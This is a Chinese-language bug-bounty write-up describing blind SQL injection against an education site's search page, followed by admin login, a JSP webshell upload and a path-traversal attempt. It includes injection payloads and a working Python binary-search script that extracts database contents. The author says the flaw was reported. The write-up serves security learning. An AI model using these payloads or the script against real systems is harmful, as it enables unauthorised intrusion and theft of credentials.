在挖edusrc时,对着某站的搜索框进行测试时突然发现了sql注入,但没想到这才是噩梦的开始。
访问url/search.jsp?key=12'
页面显示了500,但是访问url/search.jsp?key=12'--+
页面回显正常,冥冥中感觉存在了SQL注入。
接着开始fuzz字符
,发现也没有过滤啥字符。
开始使用order by
获得表的列数,访问url/search.jsp?key=12'order by 18--+
页面是正常的,访问url/search.jsp?key=12'order by 19--+
页面显示500,判断出列数为18,当我开心的以为的可以通过union联合查询
进行注入时,500了!!!Payload:url/search.jsp?key=-12'union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18--+
,emmmmm虽然不知道为啥报错了,但是很明显不能用,换个思路继续。
测试 url/search.jsp?key=12'or 1=0--+
和url/search.jsp?key=12'or 1=1--+
发现回显的内容又不一样了,如下图
这么简单的Payload都能测试成功,于是直接上了sqlmap
开始跑,但是没有结果。一脸疑惑,只能试试可不可以写脚本了,先用了一个最简单的脚本试试
import requests url = "url/search.jsp" content = "select database()" for i in range(1,30): sql = "?key=12'or length(({}))={}--+".format(content,i) res = requests.get(url=url+sql) print(res.url) if u"18.12.3—18.12.7" in res.text: print(i) break
但是上来就报错了(在教室上课时测试的,见谅看)
改来改去还是报错在不停报错,期间问过Firebasky
师傅,他说他之前也遇到了,并且给我了解决方案(如下),我测试了一下,报错还是存在的,看来并不是这个问题,不过这里还是记录学习了。
import urllib3 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) #解决https ssl问题 requests.packages.urllib3.disable_warnings()
于是,我手动二分法测试出来了database()
的长度为11,接着继续测试脚本,发现1-10都没问题,一旦到了11就报错,于是我单独使用Python的方式访问url/search.jsp?key=12'or length((select database()))=11--+
,还是报错。这时候我有了一个大胆的想法:当or
后面的条件为真时,脚本访问就会报错,而为假时,访问就没任何问题。以此为条件构造脚本,这里利用了try...except...
语句构造脚本好脚本(是拿LemonPrefect
师傅之前比赛的二分法注入脚本改的),如下:
import requests url = "url/search.jsp" def main(): result = "" for i in range(1, 200): low = 32 high = 128 while low < high: mid = int((low + high) / 2) # content = "select database()" #school_lvdi content = "select group_concat(table_name) from information_schema.tables where table_schema=database()" sql = f"?key=12'or ascii(substr(({content}),{i},1))<{mid}--+" try: requests.get(url=url+sql) low = mid + 1 except: try: requests.get(url=url + sql) low = mid + 1 except: high = mid print("[+] After changing we got {} to {}".format(low, high)) if low == high == 32: print("[*] Result is: {}".format(result)) break print("[+] Now has {}".format(i)) result += chr(int((high + low - 1) / 2)) print("[*] Result now is: {}".format(result)) if __name__ == '__main__': main()
这里使用两次try...except...
来判断,因为这种判断本来就不是特别可靠的,可能会因为网络的原因存在一定的问题,从而导致注入出来的字符存在一定乱码,使用两次则可以大大改善这个情况。
数据库中有个表sys_user
存在两个列ACCOUNT
和PASSWORD
,从中获得了后台的登录账号密码。登录后台后,发现可以上传附件,并且可以上传jsp马
但是死活找不到jsp马的路径,再看别的文章时突然想到通过附件地址应该和照片的位置一样的,于是去找了照片的地址,但是照片的地址格式时这样的url/school/Image-getImage.action?imageName=f3f86c90-bc38-4578-8853-58c853805a69.png
,应该是用了文件包含的方式进行的,尝试去访问jsp马,emmmmm访问到了但是不解析,如下图
既然是文件包含的功能,试试是否存在目录穿梭读取任意文件,想要去读网站的index.jsp
和search.jsp
但都不太行,Payload差不多是这样的url/school/Image-getImage.action?imageName=../../../../index.jsp
剩下看了一下没有啥功能了,提交漏洞,溜了溜了。在挖edu时,从网站的功能下手是一个不错的选择,尤其是搜索框很有可能就有SQL注入的漏洞,但是由于是黑盒测试,要自己判断它的SQL语句,还要判断数据库类型,是否存在过滤,还是需要很多经验。共勉!!